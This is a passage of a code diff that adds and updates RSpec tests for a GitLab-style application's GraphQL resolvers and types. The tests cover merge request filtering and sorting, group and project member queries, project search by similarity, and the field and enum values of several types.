+ let_it_be(:label2) { create(:label, project: user_project) }
+ let_it_be(:label3) { create(:label, project: user_project) }
+ let_it_be(:board) { create(:board, resource_parent: user_project) }
+ let_it_be(:list) { create(:list, board: board, label: label) }
+
let(:board_parent) { user_project }
- let!(:label) { create(:label, project: project, name: 'project label') }
let(:project) { user_project }
it_behaves_like 'group and project board list issues resolver'
end
context 'when group boards' do
+ let_it_be(:label) { create(:group_label, group: group) }
+ let_it_be(:label2) { create(:group_label, group: group) }
+ let_it_be(:label3) { create(:group_label, group: group) }
+ let_it_be(:board) { create(:board, resource_parent: group) }
+ let_it_be(:list) { create(:list, board: board, label: label) }
+
let(:board_parent) { group }
- let!(:label) { create(:group_label, group: group, name: 'group label') }
let!(:project) { create(:project, :private, group: group) }
it_behaves_like 'group and project board list issues resolver'
diff --git a/spec/graphql/resolvers/group_members_resolver_spec.rb b/spec/graphql/resolvers/group_members_resolver_spec.rb
new file mode 100644
index 00000000000..bbfea575492
--- /dev/null
+++ b/spec/graphql/resolvers/group_members_resolver_spec.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::GroupMembersResolver do
+ include GraphqlHelpers
+
+ it_behaves_like 'querying members with a group' do
+ let_it_be(:resource_member) { create(:group_member, user: user_1, group: group_1) }
+ let_it_be(:resource) { group_1 }
+ end
+end
diff --git a/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb b/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
index 69e940ee6ca..16eb190efc6 100644
--- a/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
+++ b/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
@@ -41,6 +41,12 @@ RSpec.describe Resolvers::IssueStatusCountsResolver do
it_behaves_like 'returns expected results'
+ context 'project used as parent' do
+ let(:parent) { project }
+
+ it_behaves_like 'returns expected results'
+ end
+
context 'group used as parent' do
let(:parent) { project.group }
diff --git a/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb b/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb
index 2fe3e86ec14..ae3097c1d9e 100644
--- a/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb
+++ b/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb
@@ -29,4 +29,11 @@ RSpec.describe Resolvers::MergeRequestPipelinesResolver do
it 'resolves only MRs for the passed merge request' do
expect(resolve_pipelines).to contain_exactly(pipeline)
end
+
+ describe 'with archived project' do
+ let(:archived_project) { create(:project, :archived) }
+ let(:merge_request) { create(:merge_request, source_project: archived_project) }
+
+ it { expect(resolve_pipelines).not_to contain_exactly(pipeline) }
+ end
end
diff --git a/spec/graphql/resolvers/merge_requests_resolver_spec.rb b/spec/graphql/resolvers/merge_requests_resolver_spec.rb
index e939edae779..aecffc487aa 100644
--- a/spec/graphql/resolvers/merge_requests_resolver_spec.rb
+++ b/spec/graphql/resolvers/merge_requests_resolver_spec.rb
@@ -6,16 +6,20 @@ RSpec.describe Resolvers::MergeRequestsResolver do
include GraphqlHelpers
let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:milestone) { create(:milestone, project: project) }
let_it_be(:current_user) { create(:user) }
+ let_it_be(:other_user) { create(:user) }
let_it_be(:common_attrs) { { author: current_user, source_project: project, target_project: project } }
let_it_be(:merge_request_1) { create(:merge_request, :simple, **common_attrs) }
let_it_be(:merge_request_2) { create(:merge_request, :rebased, **common_attrs) }
let_it_be(:merge_request_3) { create(:merge_request, :unique_branches, **common_attrs) }
let_it_be(:merge_request_4) { create(:merge_request, :unique_branches, :locked, **common_attrs) }
let_it_be(:merge_request_5) { create(:merge_request, :simple, :locked, **common_attrs) }
- let_it_be(:merge_request_6) { create(:labeled_merge_request, :unique_branches, labels: create_list(:label, 2), **common_attrs) }
+ let_it_be(:merge_request_6) { create(:labeled_merge_request, :unique_branches, labels: create_list(:label, 2, project: project), **common_attrs) }
+ let_it_be(:merge_request_with_milestone) { create(:merge_request, :unique_branches, **common_attrs, milestone: milestone) }
let_it_be(:other_project) { create(:project, :repository) }
let_it_be(:other_merge_request) { create(:merge_request, source_project: other_project, target_project: other_project) }
+
let(:iid_1) { merge_request_1.iid }
let(:iid_2) { merge_request_2.iid }
let(:other_iid) { other_merge_request.iid }
@@ -32,7 +36,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
it 'returns all merge requests' do
result = resolve_mr(project, {})
- expect(result).to contain_exactly(merge_request_1, merge_request_2, merge_request_3, merge_request_4, merge_request_5, merge_request_6)
+ expect(result).to contain_exactly(merge_request_1, merge_request_2, merge_request_3, merge_request_4, merge_request_5, merge_request_6, merge_request_with_milestone)
end
it 'returns only merge requests that the current user can see' do
@@ -179,6 +183,20 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
+ context 'by milestone' do
+ it 'filters merge requests by milestone title' do
+ result = resolve_mr(project, milestone_title: milestone.title)
+
+ expect(result).to eq([merge_request_with_milestone])
+ end
+
+ it 'does not find anything' do
+ result = resolve_mr(project, milestone_title: 'unknown-milestone')
+
+ expect(result).to be_empty
+ end
+ end
+
describe 'combinations' do
it 'requires all filters' do
create(:merge_request, :closed, source_project: project, target_project: project, source_branch: merge_request_4.source_branch)
@@ -188,6 +206,33 @@ RSpec.describe Resolvers::MergeRequestsResolver do
expect(result.compact).to contain_exactly(merge_request_4)
end
end
+
+ describe 'sorting' do
+ context 'when sorting by created' do
+ it 'sorts merge requests ascending' do
+ expect(resolve_mr(project, sort: 'created_asc')).to eq [merge_request_1, merge_request_2, merge_request_3, merge_request_4, merge_request_5, merge_request_6, merge_request_with_milestone]
+ end
+
+ it 'sorts merge requests descending' do
+ expect(resolve_mr(project, sort: 'created_desc')).to eq [merge_request_with_milestone, merge_request_6, merge_request_5, merge_request_4, merge_request_3, merge_request_2, merge_request_1]
+ end
+ end
+
+ context 'when sorting by merged at' do
+ before do
+ merge_request_1.metrics.update!(merged_at: 10.days.ago)
+ merge_request_3.metrics.update!(merged_at: 5.days.ago)
+ end
+
+ it 'sorts merge requests ascending' do
+ expect(resolve_mr(project, sort: :merged_at_asc)).to eq [merge_request_1, merge_request_3, merge_request_with_milestone, merge_request_6, merge_request_5, merge_request_4, merge_request_2]
+ end
+
+ it 'sorts merge requests descending' do
+ expect(resolve_mr(project, sort: :merged_at_desc)).to eq [merge_request_3, merge_request_1, merge_request_with_milestone, merge_request_6, merge_request_5, merge_request_4, merge_request_2]
+ end
+ end
+ end
end
def resolve_mr_single(project, iid)
diff --git a/spec/graphql/resolvers/namespace_projects_resolver_spec.rb b/spec/graphql/resolvers/namespace_projects_resolver_spec.rb
index 699269b47e0..4ad8f99219f 100644
--- a/spec/graphql/resolvers/namespace_projects_resolver_spec.rb
+++ b/spec/graphql/resolvers/namespace_projects_resolver_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe Resolvers::NamespaceProjectsResolver do
end
it 'finds all projects including the subgroups' do
- expect(resolve_projects(include_subgroups: true)).to contain_exactly(project1, project2, nested_project)
+ expect(resolve_projects(include_subgroups: true, sort: nil, search: nil)).to contain_exactly(project1, project2, nested_project)
end
context 'with an user namespace' do
@@ -38,7 +38,52 @@ RSpec.describe Resolvers::NamespaceProjectsResolver do
end
it 'finds all projects including the subgroups' do
- expect(resolve_projects(include_subgroups: true)).to contain_exactly(project1, project2)
+ expect(resolve_projects(include_subgroups: true, sort: nil, search: nil)).to contain_exactly(project1, project2)
+ end
+ end
+ end
+
+ context 'search and similarity sorting' do
+ let(:project_1) { create(:project, name: 'Project', path: 'project', namespace: namespace) }
+ let(:project_2) { create(:project, name: 'Test Project', path: 'test-project', namespace: namespace) }
+ let(:project_3) { create(:project, name: 'Test', path: 'test', namespace: namespace) }
+
+ before do
+ project_1.add_developer(current_user)
+ project_2.add_developer(current_user)
+ project_3.add_developer(current_user)
+ end
+
+ it 'returns projects ordered by similarity to the search input' do
+ projects = resolve_projects(include_subgroups: true, sort: :similarity, search: 'test')
+
+ project_names = projects.map { |proj| proj['name'] }
+ expect(project_names.first).to eq('Test')
+ expect(project_names.second).to eq('Test Project')
+ end
+
+ it 'filters out result that do not match the search input' do
+ projects = resolve_projects(include_subgroups: true, sort: :similarity, search: 'test')
+
+ project_names = projects.map { |proj| proj['name'] }
+ expect(project_names).not_to include('Project')
+ end
+
+ context 'when `search` parameter is not given' do
+ it 'returns projects not ordered by similarity' do
+ projects = resolve_projects(include_subgroups: true, sort: :similarity, search: nil)
+
+ project_names = projects.map { |proj| proj['name'] }
+ expect(project_names.first).not_to eq('Test')
+ end
+ end
+
+ context 'when only search term is given' do
+ it 'filters out result that do not match the search input, but does not sort them' do
+ projects = resolve_projects(include_subgroups: true, sort: :nil, search: 'test')
+
+ project_names = projects.map { |proj| proj['name'] }
+ expect(project_names).to contain_exactly('Test', 'Test Project')
end
end
end
@@ -63,7 +108,7 @@ RSpec.describe Resolvers::NamespaceProjectsResolver do
expect(field.to_graphql.complexity.call({}, { include_subgroups: true }, 1)).to eq 24
end
- def resolve_projects(args = { include_subgroups: false }, context = { current_user: current_user })
+ def resolve_projects(args = { include_subgroups: false, sort: nil, search: nil }, context = { current_user: current_user })
resolve(described_class, obj: namespace, args: args, ctx: context)
end
end
diff --git a/spec/graphql/resolvers/project_members_resolver_spec.rb b/spec/graphql/resolvers/project_members_resolver_spec.rb
index 602225cf632..2f4145b3215 100644
--- a/spec/graphql/resolvers/project_members_resolver_spec.rb
+++ b/spec/graphql/resolvers/project_members_resolver_spec.rb
@@ -5,58 +5,9 @@ require 'spec_helper'
RSpec.describe Resolvers::ProjectMembersResolver do
include GraphqlHelpers
- context "with a group" do
- let_it_be(:root_group) { create(:group) }
- let_it_be(:group_1) { create(:group, parent: root_group) }
- let_it_be(:group_2) { create(:group, parent: root_group) }
- let_it_be(:project) { create(:project, :public, group: group_1) }
-
- let_it_be(:user_1) { create(:user, name: 'test user') }
- let_it_be(:user_2) { create(:user, name: 'test user 2') }
- let_it_be(:user_3) { create(:user, name: 'another user 1') }
- let_it_be(:user_4) { create(:user, name: 'another user 2') }
-
- let_it_be(:project_member) { create(:project_member, user: user_1, project: project) }
- let_it_be(:group_1_member) { create(:group_member, user: user_2, group: group_1) }
- let_it_be(:group_2_member) { create(:group_member, user: user_3, group: group_2) }
- let_it_be(:root_group_member) { create(:group_member, user: user_4, group: root_group) }
-
- let(:args) { {} }
-
- subject do
- resolve(described_class, obj: project, args: args, ctx: { context: user_4 })
- end
-
- describe '#resolve' do
- it 'finds all project members' do
- expect(subject).to contain_exactly(project_member, group_1_member, root_group_member)
- end
-
- context 'with search' do
- context 'when the search term matches a user' do
- let(:args) { { search: 'test' } }
-
- it 'searches users by user name' do
- expect(subject).to contain_exactly(project_member, group_1_member)
- end
- end
-
- context 'when the search term does not match any user' do
- let(:args) { { search: 'nothing' } }
-
- it 'is empty' do
- expect(subject).to be_empty
- end
- end
- end
-
- context 'when project is nil' do
- let(:project) { nil }
-
- it 'returns nil' do
- expect(subject).to be_empty
- end
- end
- end
+ it_behaves_like 'querying members with a group' do
+ let_it_be(:project) { create(:project, group: group_1) }
+ let_it_be(:resource_member) { create(:project_member, user: user_1, project: project) }
+ let_it_be(:resource) { project }
end
end
diff --git a/spec/graphql/resolvers/project_merge_requests_resolver_spec.rb b/spec/graphql/resolvers/project_merge_requests_resolver_spec.rb
new file mode 100644
index 00000000000..bfb3ce91d58
--- /dev/null
+++ b/spec/graphql/resolvers/project_merge_requests_resolver_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::ProjectMergeRequestsResolver do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:other_user) { create(:user) }
+
+ let_it_be(:merge_request_with_author_and_assignee) do
+ create(:merge_request,
+ :unique_branches,
+ source_project: project,
+ target_project: project,
+ author: other_user,
+ assignee: other_user)
+ end
+
+ before do
+ project.add_developer(current_user)
+ end
+
+ context 'by assignee' do
+ it 'filters merge requests by assignee username' do
+ result = resolve_mr(project, assignee_username: other_user.username)
+
+ expect(result).to eq([merge_request_with_author_and_assignee])
+ end
+
+ it 'does not find anything' do
+ result = resolve_mr(project, assignee_username: 'unknown-user')
+
+ expect(result).to be_empty
+ end
+ end
+
+ context 'by author' do
+ it 'filters merge requests by author username' do
+ result = resolve_mr(project, author_username: other_user.username)
+
+ expect(result).to eq([merge_request_with_author_and_assignee])
+ end
+
+ it 'does not find anything' do
+ result = resolve_mr(project, author_username: 'unknown-user')
+
+ expect(result).to be_empty
+ end
+ end
+
+ def resolve_mr(project, args, resolver: described_class, user: current_user)
+ resolve(resolver, obj: project, args: args, ctx: { current_user: user })
+ end
+end
diff --git a/spec/graphql/resolvers/project_pipeline_resolver_spec.rb b/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
index fada2f9193c..a6a86c49373 100644
--- a/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
+++ b/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
@@ -34,12 +34,10 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
expect { resolve_pipeline(project, {}) }.to raise_error(ArgumentError)
end
- context 'when the pipeline is not a ci_config_source' do
+ context 'when the pipeline is a dangling pipeline' do
let(:pipeline) do
- config_source_value = Ci::PipelineEnums.non_ci_config_source_values.first
- config_source = Ci::PipelineEnums.config_sources.key(config_source_value)
-
- create(:ci_pipeline, config_source: config_source, project: project)
+ dangling_source = ::Enums::Ci::Pipeline.dangling_sources.each_value.first
+ create(:ci_pipeline, source: dangling_source, project: project)
end
it 'resolves pipeline for the passed iid' do
diff --git a/spec/graphql/resolvers/projects_resolver_spec.rb b/spec/graphql/resolvers/projects_resolver_spec.rb
index db7c9225c84..d22ffeed740 100644
--- a/spec/graphql/resolvers/projects_resolver_spec.rb
+++ b/spec/graphql/resolvers/projects_resolver_spec.rb
@@ -71,6 +71,14 @@ RSpec.describe Resolvers::ProjectsResolver do
is_expected.to contain_exactly(project, private_project)
end
end
+
+ context 'when ids filter is provided' do
+ let(:filters) { { ids: [project.to_global_id.to_s] } }
+
+ it 'returns matching project' do
+ is_expected.to contain_exactly(project)
+ end
+ end
end
end
end
diff --git a/spec/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum_spec.rb b/spec/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum_spec.rb
new file mode 100644
index 00000000000..625fb17bbf8
--- /dev/null
+++ b/spec/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['MeasurementIdentifier'] do
+ specify { expect(described_class.graphql_name).to eq('MeasurementIdentifier') }
+
+ it 'exposes all the existing identifier values' do
+ identifiers = Analytics::InstanceStatistics::Measurement.identifiers.keys.map(&:upcase)
+
+ expect(described_class.values.keys).to match_array(identifiers)
+ end
+end
diff --git a/spec/graphql/types/admin/analytics/instance_statistics/measurement_type_spec.rb b/spec/graphql/types/admin/analytics/instance_statistics/measurement_type_spec.rb
new file mode 100644
index 00000000000..de8143a5466
--- /dev/null
+++ b/spec/graphql/types/admin/analytics/instance_statistics/measurement_type_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['InstanceStatisticsMeasurement'] do
+ subject { described_class }
+
+ it { is_expected.to have_graphql_field(:recorded_at) }
+ it { is_expected.to have_graphql_field(:identifier) }
+ it { is_expected.to have_graphql_field(:count) }
+end
diff --git a/spec/graphql/types/base_enum_spec.rb b/spec/graphql/types/base_enum_spec.rb
index 0d0f6346f2d..b7adcf217f6 100644
--- a/spec/graphql/types/base_enum_spec.rb
+++ b/spec/graphql/types/base_enum_spec.rb
@@ -21,4 +21,16 @@ RSpec.describe Types::BaseEnum do
expect(enum.enum).to be_a(HashWithIndifferentAccess)
end
end
+
+ include_examples 'Gitlab-style deprecations' do
+ def subject(args = {})
+ enum = Class.new(described_class) do
+ graphql_name 'TestEnum'
+
+ value 'TEST_VALUE', **args
+ end
+
+ enum.to_graphql.values['TEST_VALUE']
+ end
+ end
end
diff --git a/spec/graphql/types/base_field_spec.rb b/spec/graphql/types/base_field_spec.rb
index 73bb54e7ad0..bcfbd7f2480 100644
--- a/spec/graphql/types/base_field_spec.rb
+++ b/spec/graphql/types/base_field_spec.rb
@@ -167,70 +167,23 @@ RSpec.describe Types::BaseField do
end
end
- describe '`deprecated` property' do
- def test_field(args = {})
+ include_examples 'Gitlab-style deprecations' do
+ def subject(args = {})
base_args = { name: 'test', type: GraphQL::STRING_TYPE, null: true }
described_class.new(**base_args.merge(args))
end
- describe 'validations' do
- it 'raises an informative error if `deprecation_reason` is used' do
- expect { test_field(deprecation_reason: 'foo') }.to raise_error(
- ArgumentError,
- 'Use `deprecated` property instead of `deprecation_reason`. ' \
- 'See https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#deprecating-fields'
- )
- end
-
- it 'raises an error if a required property is missing', :aggregate_failures do
- expect { test_field(deprecated: { milestone: '1.10' }) }.to raise_error(
- ArgumentError,
- 'Please provide a `reason` within `deprecated`'
- )
- expect { test_field(deprecated: { reason: 'Deprecation reason' }) }.to raise_error(
- ArgumentError,
- 'Please provide a `milestone` within `deprecated`'
- )
- end
-
- it 'raises an error if milestone is not a String', :aggregate_failures do
- expect { test_field(deprecated: { milestone: 1.10, reason: 'Deprecation reason' }) }.to raise_error(
- ArgumentError,
- '`milestone` must be a `String`'
- )
- end
- end
-
- it 'adds a formatted `deprecated_reason` to the field' do
- field = test_field(deprecated: { milestone: '1.10', reason: 'Deprecation reason' })
-
- expect(field.deprecation_reason).to eq('Deprecation reason. Deprecated in 1.10')
- end
-
- it 'appends to the description if given' do
- field = test_field(
- deprecated: { milestone: '1.10', reason: 'Deprecation reason' },
- description: 'Field description'
- )
-
- expect(field.description).to eq('Field description. Deprecated in 1.10: Deprecation reason')
- end
-
- it 'does not append to the description if it is absent' do
- field = test_field(deprecated: { milestone: '1.10', reason: 'Deprecation reason' })
-
- expect(field.description).to be_nil
- end
-
it 'interacts well with the `feature_flag` property' do
- field = test_field(
+ field = subject(
deprecated: { milestone: '1.10', reason: 'Deprecation reason' },
description: 'Field description',
feature_flag: 'foo_flag'
)
- expect(field.description).to eq('Field description. Available only when feature flag `foo_flag` is enabled. Deprecated in 1.10: Deprecation reason')
+ expectation = 'Field description. Available only when feature flag `foo_flag` is enabled. Deprecated in 1.10: Deprecation reason'
+
+ expect(field.description).to eq(expectation)
end
end
end
diff --git a/spec/graphql/types/boards/board_issue_input_type_spec.rb b/spec/graphql/types/boards/board_issue_input_type_spec.rb
new file mode 100644
index 00000000000..6319ff9a88e
--- /dev/null
+++ b/spec/graphql/types/boards/board_issue_input_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['BoardIssueInput'] do
+ it { expect(described_class.graphql_name).to eq('BoardIssueInput') }
+
+ it 'exposes negated issue arguments' do
+ allowed_args = %w(labelName milestoneTitle assigneeUsername authorUsername
+ releaseTag myReactionEmoji not search)
+
+ expect(described_class.arguments.keys).to include(*allowed_args)
+ expect(described_class.arguments['not'].type).to eq(Types::Boards::NegatedBoardIssueInputType)
+ end
+end
diff --git a/spec/graphql/types/current_user_todos_type_spec.rb b/spec/graphql/types/current_user_todos_type_spec.rb
new file mode 100644
index 00000000000..a0015e96788
--- /dev/null
+++ b/spec/graphql/types/current_user_todos_type_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['CurrentUserTodos'] do
+ specify { expect(described_class.graphql_name).to eq('CurrentUserTodos') }
+
+ specify { expect(described_class).to have_graphql_fields(:current_user_todos).only }
+end
diff --git a/spec/graphql/types/design_management/design_type_spec.rb b/spec/graphql/types/design_management/design_type_spec.rb
index 7a38b397965..cae98a013e1 100644
--- a/spec/graphql/types/design_management/design_type_spec.rb
+++ b/spec/graphql/types/design_management/design_type_spec.rb
@@ -3,8 +3,10 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['Design'] do
+ specify { expect(described_class.interfaces).to include(Types::CurrentUserTodos) }
+
it_behaves_like 'a GraphQL type with design fields' do
- let(:extra_design_fields) { %i[notes discussions versions] }
+ let(:extra_design_fields) { %i[notes current_user_todos discussions versions] }
let_it_be(:design) { create(:design, :with_versions) }
let(:object_id) { GitlabSchema.id_from_object(design) }
let_it_be(:object_id_b) { GitlabSchema.id_from_object(create(:design, :with_versions)) }
diff --git a/spec/graphql/types/group_type_spec.rb b/spec/graphql/types/group_type_spec.rb
index 0b87805c2ef..bf7ddebaf5b 100644
--- a/spec/graphql/types/group_type_spec.rb
+++ b/spec/graphql/types/group_type_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe GitlabSchema.types['Group'] do
web_url avatar_url share_with_group_lock project_creation_level
subgroup_creation_level require_two_factor_authentication
two_factor_grace_period auto_devops_enabled emails_disabled
- mentions_disabled parent boards milestones
+ mentions_disabled parent boards milestones group_members
]
expect(described_class).to include_graphql_fields(*expected_fields)
@@ -30,5 +30,12 @@ RSpec.describe GitlabSchema.types['Group'] do
end
end
+ describe 'members field' do
+ subject { described_class.fields['groupMembers'] }
+
+ it { is_expected.to have_graphql_type(Types::GroupMemberType.connection_type) }
+ it { is_expected.to have_graphql_resolver(Resolvers::GroupMembersResolver) }
+ end
+
it_behaves_like 'a GraphQL type with labels'
end
diff --git a/spec/graphql/types/issuable_severity_enum_spec.rb b/spec/graphql/types/issuable_severity_enum_spec.rb
new file mode 100644
index 00000000000..3f8bd76fa62
--- /dev/null
+++ b/spec/graphql/types/issuable_severity_enum_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::IssuableSeverityEnum do
+ specify { expect(described_class.graphql_name).to eq('IssuableSeverity') }
+
+ it 'exposes all the existing issuable severity values' do
+ expect(described_class.values.keys).to contain_exactly(
+ *%w[UNKNOWN LOW MEDIUM HIGH CRITICAL]
+ )
+ end
+end
diff --git a/spec/graphql/types/issue_type_spec.rb b/spec/graphql/types/issue_type_spec.rb
index 24353f8fe3a..c55e624dd11 100644
--- a/spec/graphql/types/issue_type_spec.rb
+++ b/spec/graphql/types/issue_type_spec.rb
@@ -11,11 +11,13 @@ RSpec.describe GitlabSchema.types['Issue'] do
specify { expect(described_class.interfaces).to include(Types::Notes::NoteableType) }
+ specify { expect(described_class.interfaces).to include(Types::CurrentUserTodos) }
+
it 'has specific fields' do
fields = %i[id iid title description state reference author assignees participants labels milestone due_date
confidential discussion_locked upvotes downvotes user_notes_count web_path web_url relative_position
subscribed time_estimate total_time_spent closed_at created_at updated_at task_completion_status
- designs design_collection]
+ designs design_collection alert_management_alert severity current_user_todos]
fields.each do |field_name|
expect(described_class).to have_graphql_field(field_name)
diff --git a/spec/graphql/types/member_interface_spec.rb b/spec/graphql/types/member_interface_spec.rb
new file mode 100644
index 00000000000..11fd09eb335
--- /dev/null
+++ b/spec/graphql/types/member_interface_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::MemberInterface do
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ id
+ access_level
+ created_by
+ created_at
+ updated_at
+ expires_at
+ user
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+
+ describe '.resolve_type' do
+ subject { described_class.resolve_type(object, {}) }
+
+ context 'for project member' do
+ let(:object) { build(:project_member) }
+
+ it { is_expected.to be Types::ProjectMemberType }
+ end
+
+ context 'for group member' do
+ let(:object) { build(:group_member) }
+
+ it { is_expected.to be Types::GroupMemberType }
+ end
+
+ context 'for an unkown type' do
+ let(:object) { build(:user) }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::BaseError)
+ end
+ end
+ end
+end
diff --git a/spec/graphql/types/merge_request_sort_enum_spec.rb b/spec/graphql/types/merge_request_sort_enum_spec.rb
new file mode 100644
index 00000000000..472eba1a50d
--- /dev/null
+++ b/spec/graphql/types/merge_request_sort_enum_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['MergeRequestSort'] do
+ specify { expect(described_class.graphql_name).to eq('MergeRequestSort') }
+
+ it_behaves_like 'common sort values'
+
+ it 'exposes all the existing issue sort values' do
+ expect(described_class.values.keys).to include(
+ *%w[MERGED_AT_ASC MERGED_AT_DESC]
+ )
+ end
+end
diff --git a/spec/graphql/types/merge_request_type_spec.rb b/spec/graphql/types/merge_request_type_spec.rb
index b11951190e0..46aebbdabeb 100644
--- a/spec/graphql/types/merge_request_type_spec.rb
+++ b/spec/graphql/types/merge_request_type_spec.rb
@@ -9,6 +9,8 @@ RSpec.describe GitlabSchema.types['MergeRequest'] do
specify { expect(described_class.interfaces).to include(Types::Notes::NoteableType) }
+ specify { expect(described_class.interfaces).to include(Types::CurrentUserTodos) }
+
it 'has the expected fields' do
expected_fields = %w[
notes discussions user_permissions id iid title title_html description
@@ -24,10 +26,16 @@ RSpec.describe GitlabSchema.types['MergeRequest'] do
source_branch_exists target_branch_exists
upvotes downvotes head_pipeline pipelines task_completion_status
milestone assignees participants subscribed labels discussion_locked time_estimate
- total_time_spent reference author merged_at commit_count
+ total_time_spent reference author merged_at commit_count current_user_todos
+ conflicts auto_merge_enabled
]
- expected_fields << 'approved_by' if Gitlab.ee?
+ if Gitlab.ee?
+ expected_fields << 'approved'
+ expected_fields << 'approvals_left'
+ expected_fields << 'approvals_required'
+ expected_fields << 'approved_by'
+ end
expect(described_class).to have_graphql_fields(*expected_fields)
end
diff --git a/spec/graphql/types/milestone_type_spec.rb b/spec/graphql/types/milestone_type_spec.rb
index 2315c10433b..806495250ac 100644
--- a/spec/graphql/types/milestone_type_spec.rb
+++ b/spec/graphql/types/milestone_type_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe GitlabSchema.types['Milestone'] do
stats
]
- expect(described_class).to have_graphql_fields(*expected_fields)
+ expect(described_class).to have_graphql_fields(*expected_fields).at_least
end
describe 'stats field' do
diff --git a/spec/graphql/types/package_type_enum_spec.rb b/spec/graphql/types/package_type_enum_spec.rb
index fadec9744ed..80a20a68bc2 100644
--- a/spec/graphql/types/package_type_enum_spec.rb
+++ b/spec/graphql/types/package_type_enum_spec.rb
@@ -4,6 +4,6 @@ require 'spec_helper'
RSpec.describe GitlabSchema.types['PackageTypeEnum'] do
it 'exposes all package types' do
- expect(described_class.values.keys).to contain_exactly(*%w[MAVEN NPM CONAN NUGET PYPI COMPOSER])
+ expect(described_class.values.keys).to contain_exactly(*%w[MAVEN NPM CONAN NUGET PYPI COMPOSER GENERIC])
end
end
diff --git a/spec/graphql/types/permission_types/merge_request_spec.rb b/spec/graphql/types/permission_types/merge_request_spec.rb
index 73a178540a6..2849dead9a8 100644
--- a/spec/graphql/types/permission_types/merge_request_spec.rb
+++ b/spec/graphql/types/permission_types/merge_request_spec.rb
@@ -7,7 +7,8 @@ RSpec.describe Types::PermissionTypes::MergeRequest do
expected_permissions = [
:read_merge_request, :admin_merge_request, :update_merge_request,
:create_note, :push_to_source_branch, :remove_source_branch,
- :cherry_pick_on_current_merge_request, :revert_on_current_merge_request
+ :cherry_pick_on_current_merge_request, :revert_on_current_merge_request,
+ :can_merge
]
expect(described_class).to have_graphql_fields(expected_permissions)
diff --git a/spec/graphql/types/project_type_spec.rb b/spec/graphql/types/project_type_spec.rb
index 8a5d0cdf12d..44a89bfa35e 100644
--- a/spec/graphql/types/project_type_spec.rb
+++ b/spec/graphql/types/project_type_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe GitlabSchema.types['Project'] do
subject { described_class.fields['mergeRequests'] }
it { is_expected.to have_graphql_type(Types::MergeRequestType.connection_type) }
- it { is_expected.to have_graphql_resolver(Resolvers::MergeRequestsResolver) }
+ it { is_expected.to have_graphql_resolver(Resolvers::ProjectMergeRequestsResolver) }
it do
is_expected.to have_graphql_arguments(:iids,
@@ -72,7 +72,11 @@ RSpec.describe GitlabSchema.types['Project'] do
:first,
:last,
:merged_after,
- :merged_before
+ :merged_before,
+ :author_username,
+ :assignee_username,
+ :milestone_title,
+ :sort
)
end
end
@@ -108,7 +112,7 @@ RSpec.describe GitlabSchema.types['Project'] do
describe 'members field' do
subject { described_class.fields['projectMembers'] }
- it { is_expected.to have_graphql_type(Types::ProjectMemberType.connection_type) }
+ it { is_expected.to have_graphql_type(Types::MemberInterface.connection_type) }
it { is_expected.to have_graphql_resolver(Resolvers::ProjectMembersResolver) }
end
diff --git a/spec/graphql/types/query_type_spec.rb b/spec/graphql/types/query_type_spec.rb
index ab13162b406..11f780a4f3f 100644
--- a/spec/graphql/types/query_type_spec.rb
+++ b/spec/graphql/types/query_type_spec.rb
@@ -20,6 +20,8 @@ RSpec.describe GitlabSchema.types['Query'] do
milestone
user
users
+ issue
+ instance_statistics_measurements
]
expect(described_class).to have_graphql_fields(*expected_fields).at_least
@@ -53,4 +55,20 @@ RSpec.describe GitlabSchema.types['Query'] do
is_expected.to have_graphql_resolver(Resolvers::MetadataResolver)
end
end
+
+ describe 'issue field' do
+ subject { described_class.fields['issue'] }
+
+ it 'returns issue' do
+ is_expected.to have_graphql_type(Types::IssueType)
+ end
+ end
+
+ describe 'instance_statistics_measurements field' do
+ subject { described_class.fields['instanceStatisticsMeasurements'] }
+
+ it 'returns issue' do
